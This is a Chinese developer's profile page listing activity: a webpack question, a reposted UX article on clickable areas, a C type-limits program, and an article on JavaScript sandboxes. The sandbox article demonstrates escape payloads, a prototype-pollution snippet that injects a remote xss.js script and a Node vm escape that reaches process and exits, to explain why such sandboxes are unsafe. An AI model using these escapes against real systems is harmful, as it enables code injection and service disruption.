谭峰

谭峰 查看完整档案

成都编辑东华理工大学  |  计算机 编辑四川成都  |  前端 编辑填写个人主网站
编辑

I could do this all day.

个人动态

谭峰 提出了问题 · 2020-07-25

webpack 按需引入element-ui 打包时,组件css代码重复

我自己写了一套针对 vue+element-ui 的webpack打包程序,发现按需引入组件后,原组件的css代码重复生成,不知道问题出在哪里?有没有哪位兄台可以解惑

loader配置
image.png

babel配置
image.png

打包运行后
image.png
image.png
image.png

关注 2 回答 1

谭峰 赞了文章 · 2020-07-08

前端如何提高用户体验:增强可点击区域的大小

作者:Ahmad Shadded
译者:前端小智
来源:css-tricks

点赞再看,养成习惯

本文 GitHubhttps://github.com/qq44924588... 上已经收录,更多往期高赞文章的分类,也整理了很多我的文档,和教程资料。欢迎Star和完善,大家面试可以参照考点复习,希望我们一起有点东西。

你是否曾经试着点击或点击一个元素(例如:按钮、链接),并且注意到只有单击该元素的特定区域,它才会响应?

必生这种情况是因为可点击区域未应用于整个元素。 为了更加清楚,请参见下图,左图可点击区别(圈红部分)明显比右图的小很多,所以右图的实现用户体验会更好。

clipboard.png

对于本文,会介绍一些事例,并通过事例演示如何增加可点击区别,提高用户体验。

WCAG准则

WCAG全称Web Content Accessibility Guidelines 网页内容无障碍浏览准则,简单的说就是为了方便残障人士(包括低视患者,盲人,聋人,学习障碍,行动不便,认知障碍....)访问Web内容而制定的相关标准,可以使网站更加人性化。

举个例子,在WCAG准则2.3.2中规定:网页不包含任何闪光超过3次/秒的内容。

用户应该能够使用台式机/笔记本电脑上的键盘以及移动设备或平板电脑上的触摸屏来操作输入。 不要在移动设备屏幕上将按钮设置得太小,以免按下正确的按钮。 触摸目标的最小尺寸最好至少为44 x 44像素。

费兹法则

费兹法则(Fitts law)是一个人机互动以及人体工程学中人类活动的模型;它预测了快速移动到目标区域所需的时间是目标区域的距离和目标区域大小的函数。

在下面的图中,我模拟了两个按钮的不同情况。在左侧,按钮更小,更远,用户需要更多的时间与它互动。在右侧,按钮大小更大,更接近于它的同级输入元素,这将使交互更容易、更快。

clipboard.png

接着,我们再来看看一些更加真实例子。注意:记住WCAG准则费兹法则 的概念。

按钮

在需要时使用实际真实<button>(包含可点击区域)非常重要。 下面的示例来自我使用的在线银行系统:

<div class="navig next" onclick="validateLogin()">Next</div>

这是上面按钮的HTML的GIF图像。我把鼠标悬停在按钮上,光标仍然是一个指针,这很好。不过,我也可以选择文本和悬停时,有一个文本光标!如果使用了正确的元素,就不会发生这种情况。

图片描述

当使用HTML <button>元素时,会获得下面效果:

  • 可通过鼠标,键盘或触摸访问
  • 可以通过键盘选中
  • 有对应的 JavaScript 方法

有些元素,我们需要添加 padding,原因有二:

  • 让它更美观
  • 让它变大,这样更容易被注意到

clipboard.png

链接

之前在做导航的时候,犯了一个错误,应该是给 a 标签添加 padding 而不是 li:

<nav>
  <ul>
    <li class="nav-item"><a href="#">Home</a></li>
    <li class="nav-item"><nav href="#">Products</nav></li>
    <li class="nav-item"><a href="#">Store</a></li>
    <li class="nav-item"><a href="#">Team</a></li>
  </ul>
</nav>

// css

.nav-item {
  padding: 12px 16px;
}

基于上面的HTML和CSS,可点击的区域将只是文本,如下图所示:

clipboard.png

正确的方法是在a 标签本身上添加padding。 请注意,默认情况下,padding 需要块元素才有效,而 a 标签是行内元素,所以可以给 a 标签设置blockinline-elementflex

.nav-item a {
  display: block;
  padding: 12px 16px;
}

添加了上面的样式后,可点击的效果如下:

clipboard.png

大家都说简历没项目写,我就帮大家找了一个项目,还附赠【搭建教程】

面包屑导航

假设可点击区域如下所示:

clipboard.png

这种体验不是很好,鼠标或手指指向屏幕上如此小的目标会比较难。 在下图中,它的可点击区域更大并且更易于交互。

clipboard.png

事例源码:https://codepen.io/shadeed/pe...

复选框和单选按钮

当存在复选框或单选按钮元素时,我希望可以单击它或关联的标签来激活/禁用它。

clipboard.png

从用户体验的角度来看,这是难以访问和糟糕的。在 HTML 中,可以使用for属性将标签与输入框绑定在一起。

<input type="checkbox" id="option1">
<label for="option1">Option 1</label>

或者可以将输入框放置在标签内:

<label for="option1">
    Option 1
    <input type="checkbox" id="option1">
</label>

然后,在<label>元素上添加padding,以使可点击区域变大。 这样,问题得以解决,整个复选框或单选按钮都是可单击的,如下图所

clipboard.png

侧边栏

对于带有类别的页面,有时我会注意到列表链接没有扩展到其父页面的整个宽度。 也就是说,可点击区域仅在文本上,如下图所示:

clipboard.png

解决方法:

  • 删除<li>元素的 padding,并将其移动到<a>元素
  • 通过添加display: block使a标签的宽度等于其父链接的宽度。
.nav-item a {
    /*Other styles*/
    padding: 12px 16px;
    display: block;
}

添加后,如下所示:

clipboard.png

真实案例

在最近的Twitter更新中,导航设计在可点击区域大小方面存在问题。 最初,它仅与文本相关,如下面的屏幕截图所示,但他们在收到反馈后将其修复。

clipboard.png

大家都说简历没项目写,我就帮大家找了一个项目,还附赠【搭建教程】

章节标题

在某些情况下,需要在章节标题的远端添加“查看更多”按钮或箭头。 在下面的示例中,我将箭头放置在假圆中,以便可以正确地使箭头居中。

通常情况下,箭头周围的间距可以使用paddingwidthheight

clipboard.png

使用伪元素来增加可点击区域

仅通过改变元素的宽度和高度或使用padding,并不总是能够使可点击区域变大,这时候就需要伪元素救场了。

这个想法是,伪元素属于其父元素,因此当我们创建具有特定宽度和高度的伪元素时,它将充当其父元素的单击/触摸/悬停区域。

在下图中,我在菜单按钮中添加了:after伪元素:

.menu-2:after {
  content: "";
  position: absolute;
  left: 55px;
  top: 0;
  width: 50px;
  height: 50px;
  background: #e83474;
  /*Other styles*/
}

图片描述

事例源码:https://codepen.io/shadeed/pe...


代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:https://css-tricks.com/enhanc...


交流

文章每周持续更新,可以微信搜索「 大迁世界 」第一时间阅读和催更(比博客早一到两篇哟),本文 GitHub https://github.com/qq449245884/xiaozhi 已经收录,整理了很多我的文档,欢迎Star和完善,大家面试可以参照考点复习,另外关注公众号,后台回复福利,即可看到福利,你懂的。

查看原文

赞 13 收藏 7 评论 0

谭峰 回答了问题 · 2020-05-07

react项目中index.html文件被缓存下来了

我们公司的项目通常在网站加载index.html时在url query加上版本号,每次更新代码后同时更新版本号。

关注 4 回答 4

谭峰 赞了回答 · 2019-12-23

前后端传参问题

这个一般是后端在进入controller前有数据检测的. 不是说前短检测了,后端就直接用了. 这样很容易被爆破的.

关注 5 回答 4

谭峰 回答了问题 · 2019-12-17

解决HTML 事件触发的问题

return false;当然无效的,如果想阻止默认行为用:e.preventDefault()
事件无效这个是框架后遗症

关注 5 回答 4

谭峰 回答了问题 · 2019-12-17

解决vue 使用v-for遍历的节点,点击事件会触发dom刷新?

image.png

关注 5 回答 4

谭峰 发布了文章 · 2019-11-13

C语言基本类型边界值

以int为例,不同电脑int位数不同,以64位电脑为例,int占4字节,及 4*8 = 32位bit,int 是带有符号的整形,所以第一位表示符号,则int边界值为 2^31 - 1。

其他类型参考代码:
#include <stdio.h>
#include <limits.h>

long int computedDigit(int digit);

int main() {
    printf("base data type size: \n");
    printf("char: %d\n", sizeof(char));
    printf("int: %d\n", sizeof(int));
    printf("float: %d\n", sizeof(float));
    printf("double: %d\n", sizeof(double));
    printf("\n\n");

    printf("base data type boundary value: \n");
    // 第一位为符号位
    printf("int: %d - %d\n", INT_MIN, INT_MAX);
    printf("int: %d - %d\n", -computedDigit(sizeof(int) * 8 - 1) - 1, computedDigit(sizeof(int) * 8 - 1));
    printf("char: %d - %d\n", CHAR_MIN, CHAR_MAX);
    printf("char: %d - %d\n", -computedDigit(sizeof(char) * 8 - 1) - 1, computedDigit(sizeof(char) * 8 - 1));
    printf("\n");
    printf("unsigned int: 0 - %u\n", computedDigit(sizeof(int) * 8));
    printf("signed int: -%u - -1\n", computedDigit(sizeof(int) * 8));
    printf("\n");
    printf("long int: -%lu - %lu\n", LONG_MIN, LONG_MAX);
    printf("long int: -%lu - %lu\n", computedDigit(sizeof(long) * 8 - 1) + 1, computedDigit(sizeof(long) * 8 - 1));
    printf("short int: %d - %d\n", SHRT_MIN, SHRT_MAX);
    printf("short int: %d - %d\n", -computedDigit(sizeof(short) * 8 - 1) - 1, computedDigit(sizeof(short) * 8 - 1));

    return 0;
}

long int computedDigit(int digit) {
    long int value = 1;
    long int item = 1;

    for (int i = 1; i < digit; i++)
    {
        item = item * 2;
        value += item;
    }

    return value;
}
查看原文

赞 0 收藏 0 评论 0

谭峰 赞了文章 · 2019-09-23

说说JS中的沙箱

其实在前端编码中,或多或少都会接触到沙箱,可能天真善良的你没有留意到,又可能,你还并不知道它的真正用途,学会使用沙箱,可以避免潜在的代码注入以及未知的安全问题。

前言

沙箱,即sandbox,顾名思义,就是让你的程序跑在一个隔离的环境下,不对外界的其他程序造成影响,通过创建类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。

举个简单的栗子,其实我们的浏览器,Chrome 中的每一个标签页都是一个沙箱(sandbox)。渲染进程被沙箱(Sandbox)隔离,网页 web 代码内容必须通过 IPC 通道才能与浏览器内核进程通信,通信过程会进行安全的检查。沙箱设计的目的是为了让不可信的代码运行在一定的环境中,从而限制这些代码访问隔离区之外的资源。

JS中沙箱的使用场景

前端JS中也会有应用到沙箱的时候,毕竟有时候你要获取到的是第三方的JS文件或数据?而这数据又是不一定可信的时候,创建沙箱,做好保险工作尤为重要。

  • 1、jsonp:解析服务器所返回的jsonp请求时,如果不信任jsonp中的数据,可以通过创建沙箱的方式来解析获取数据;(TSW中处理jsonp请求时,创建沙箱来处理和解析数据);
  • 2、执行第三方js:当你又必要执行第三方js的时候,而这份js文件又不一定可信的时候;
  • 3、在线代码编辑器:相信大家都有使用过一些在线代码编辑器,而这些代码的执行,基本都会放置在沙箱中,放置对页面本身造成影响;(例如:https://codesandbox.io/s/new
  • 4、vue的服务端渲染:vue的服务端渲染实现中,通过创建沙箱执行前端的bundle文件;在调用createBundleRenderer方法时候,允许配置runInNewContext为true或false的形式,判断是否传入一个新创建的sandbox对象以供vm使用;
  • 5、vue模板中表达式计算:vue模板中表达式的计算被放在沙盒中,只能访问全局变量的一个白名单,如 Math 和 Date 。你不能够在模板表达式中试图访问用户定义的全局变量。

总而言之:当你要解析或执行不可信的JS的时候,当你要隔离被执行代码的执行环境的时候,当你要对执行代码中可访问对象进行限制的时候,沙箱就派上用场了。

如何实现/使用沙箱

1、new Function + with

  • 1、首先从最简陋的方法说起,假如你想要通过eval和function直接执行一段代码,这是不现实的,因为代码内部可以沿着作用域链往上找,篡改全局变量,这是我们不希望的,所以你需要让沙箱内的变量访问都在你的监控范围内;不过,你可以使用with API,在with的块级作用域下,变量访问会优先查找你传入的参数对象,之后再往上找,所以相当于你变相监控到了代码中的“变量访问”:
function compileCode (src) {  
  src = 'with (exposeObj) {' + src + '}'
  return new Function('exposeObj', src) 
}

接下里你要做的是,就是暴露可以被访问的变量exposeObj,以及阻断沙箱内的对外访问。通过es6提供的proxy特性,可以获取到对对象上的所有改写:

function compileCode (src) {  
  src = `with (exposeObj) { ${src} }`
  return new Function('exposeObj', src) 
}

function proxyObj(originObj){
    let exposeObj = new Proxy(originObj,{
        has:(target,key)=>{
            if(["console","Math","Date"].indexOf(key)>=0){
                return target[key]
            }
            if(!target.hasOwnProperty(key)){
                throw new Error(`Illegal operation for key ${key}`)
            }
            return target[key]
        },
    })
    return exposeObj
}

function createSandbox(src,obj){
 let proxy = proxyObj(obj)
 compileCode(src).call(proxy,proxy) //绑定this 防止this访问window
}

通过设置has函数,可以监听到变量的访问,在上述代码中,仅暴露个别外部变量供代码访问,其余不存在的属性,都会直接抛出error。其实还存在get、set函数,但是如果get和set函数只能拦截到当前对象属性的操作,对外部变量属性的读写操作无法监听到,所以只能使用has函数了。接下来我们测试一下:

const testObj = {
    value:1,
    a:{
        b:{c:1}
    }
}
createSandbox("value='haha';console.log(a)",testObj)

 看起来一切似乎没有什么问题,但是问题出在了传入的对象,当调用的是console.log(a.b)的时候,has方法是无法监听到对b属性的访问的,假设所执行的代码是不可信的,这时候,它只需要通过a.b.__proto__就可以访问到Object构造函数的原型对象,再对原型对象进行一些篡改,例如将toString就能影响到外部的代码逻辑的。

a.b.__proto__.toString = ()=>{
    var script = document.createElement("script");
    script.src = "http://.../xss.js"
    script.type = "text/javascript";
    document.body.appendChild(script)
}

例如上面所展示的代码,通过访问原型链的方式,实现了沙箱逃逸,并且篡改了原型链上的toString方法,一旦外部的代码执行了toString方法,就可以实现xss攻击,注入第三方代码,为什么代码里可以访问document呢?因为这本身是一个函数的赋值操作,并没有执行,所以也不存在被has函数拦截了。而当你调用toString的时候,已经是在外部的代码调用了,has函数更加无从知晓。

你可能会想,如果我切断原型链的访问,是否就杜绝了呢?的确,你可以通过Object.create(null)的方式,传入一个不含有原型链的对象,并且让暴露的对象只有一层,不传入嵌套的对象,但是,即使是基本类型值,数字或字符串,同样也可以通过__proto__查找到原型链,而且,即使不传入对象,你还可以通过下面这种方式绕过:

({}).__proto__.toString= ()=>{console.log(111)};

可见,new Function + with的这种沙箱方式,防君子不防小人,当然,你也可以通过对传入的code代码做代码分析或过滤?假如传入的代码不是按照的规定的数据格式(例如json),就直接抛出错误,阻止恶意代码注入,但这始终不是一种安全的做法。

2、借助iframe实现沙箱

前面介绍一种劣质的、不怎么安全的方法构造了一个简单的沙箱,但是在前端最常见的方法,还是利用iframe来构造一个沙箱,such as 在线代码编辑器中:https://codesandbox.io/s/news

这种方式更为方便、简单、安全,也是目前比较通用的前端实现沙箱的方案,假如你要执行的代码不是自己写的代码,不是可信的数据源,那么务必要使用iframe沙箱。sandbox是h5的提出的一个新属性, 启用方式就是在iframe标签中使用sandbox属性:

<iframe sandbox data-original="..."></iframe>

但是这也会带来一些限制:

  1. script脚本不能执行
  2. 不能发送ajax请求
  3. 不能使用本地存储,即localStorage,cookie等
  4. 不能创建新的弹窗和window
  5. 不能发送表单
  6. 不能加载额外插件比如flash等

不过别方,你可以对这个iframe标签进行一些配置:

clipboard.png

接下里你只需要结合postMessage API,将你需要执行的代码,和需要暴露的数据传递过去,然后和你的iframe页面通信就行了。

1)不过你需要注意的是,在子页面中,要注意不要让执行代码访问到contentWindow对象,因为你需要调用contentWindow的postMessageAPI给父页面传递信息,假如恶意代码也获取到了contentWindow对象,相当于就拿到了父页面的控制权了,这个时候可大事不妙。

2)当你使用postMessageAPI的时候,由于sandbox的origin默认为null,需要设置allow-same-origin允许两个页面进行通信,意味着子页面内可以发起请求,这时候你需要防范好CSRF,允许了同域请求,不过好在,并没有携带上cookie。

3)当你调用postMessageAPI传递数据给子页面的时候,传输的数据对象本身已经通过结构化克隆算法复制,如果你还不了解结构化克隆算法可以查看这个。

简单的说,通过postMessageAPI传递的对象,已经由浏览器处理过了,原型链已经被切断,同时,传过去的对象也是复制好了的,占用的是不同的内存空间,两者互不影响,所以你不需要担心出现第一种沙箱做法中出现的问题。

3、nodejs中的沙箱

nodejs中使用沙箱很简单,只需要利用原生的vm模块,便可以快速创建沙箱,同时指定上下文。

const vm = require('vm');
const x = 1;
const sandbox = { x: 2 };
vm.createContext(sandbox); // Contextify the sandbox.

const code = 'x += 40; var y = 17;';
vm.runInContext(code, sandbox);

console.log(sandbox.x); // 42
console.log(sandbox.y); // 17

console.log(x); // 1;   y is not defined.

vm中提供了runInNewContext、runInThisContext、runInContext三个方法,三者的用法有个别出入,比较常用的是runInNewContext和runInContext,可以传入参数指定好上下文对象。

但是vm是绝对安全的吗?不一定。

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")

 通过上面这段代码,我们可以通过vm,停止掉主进程nodejs,导致程序不能继续往下执行,这是我们不希望的,解决方案是绑定好context上下文对象,同时,为了避免通过原型链逃逸(nodejs中的对象并没有像浏览器端一样进行结构化复制,导致原型链依然保留),所以我们需要切断原型链,同时对于传入的暴露对象,只提供基本类型值。

let ctx = Object.create(null);
ctx.a = 1; // ctx上不能包含引用类型的属性
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

 让我们来看一下TSW框架中是怎么使用的:

const vm = require('vm');
const SbFunction = vm.runInNewContext('(Function)', Object.create(null));        // 沙堆
...
if (opt.jsonpCallback) {
    code = `var result=null; var ${opt.jsonpCallback}=function($1){result=$1}; ${responseText}; return result;`;
    obj = new SbFunction(code)();
} 
...

通过runInNewContext返回沙箱中的构造函数Function,同时传入切断原型链的空对象防止逃逸,之后再外部使用的时候,只需要调用返回的这个函数,和普通的new Function一样调用即可。

即使这样,我们也不能保证这是绝对的安全,毕竟可能还有潜在的沙箱漏洞呢?

总结

即使我们知道了如何在开发过程中使用沙箱来让我们的执行环境不受影响,但是沙箱也不一定是绝对安全的,毕竟每年都有那么多黑客绞尽脑汁钻研出如何逃出浏览器沙箱和nodejs沙箱,所以最安全的做法,是不执行不可信任的第三方JS,不要信任任何用户数据源,那你的代码就永远安全,不会被注入。

出于好奇整理了这篇文章,如有错误还望斧正。

clipboard.png

查看原文

赞 36 收藏 20 评论 6

谭峰 赞了回答 · 2019-08-19

onclick事件函数改变全局变量的问题

你怎么验证外部变量改变了呢?通过最后那句console.log吗?但是这条语句只在script脚本初始化的时候执行了一次,点击的时候并不会执行了,怎么判断全局变量没改呢?

其实是改了的,只是验证的方式不太对。

在chrome上我点击了几次按钮,然后在控制台输入num打印全局变量,是变了:

clipboard.png

关注 2 回答 1

谭峰 回答了问题 · 2019-07-30

解决配置autoprefixer,但是打包后并没有补齐前缀

你测试的属性好像不是css3新增的

关注 3 回答 2

认证与成就

  • 获得 42 次点赞
  • 获得 7 枚徽章 获得 0 枚金徽章, 获得 2 枚银徽章, 获得 5 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2018-07-28
个人主页被 693 人浏览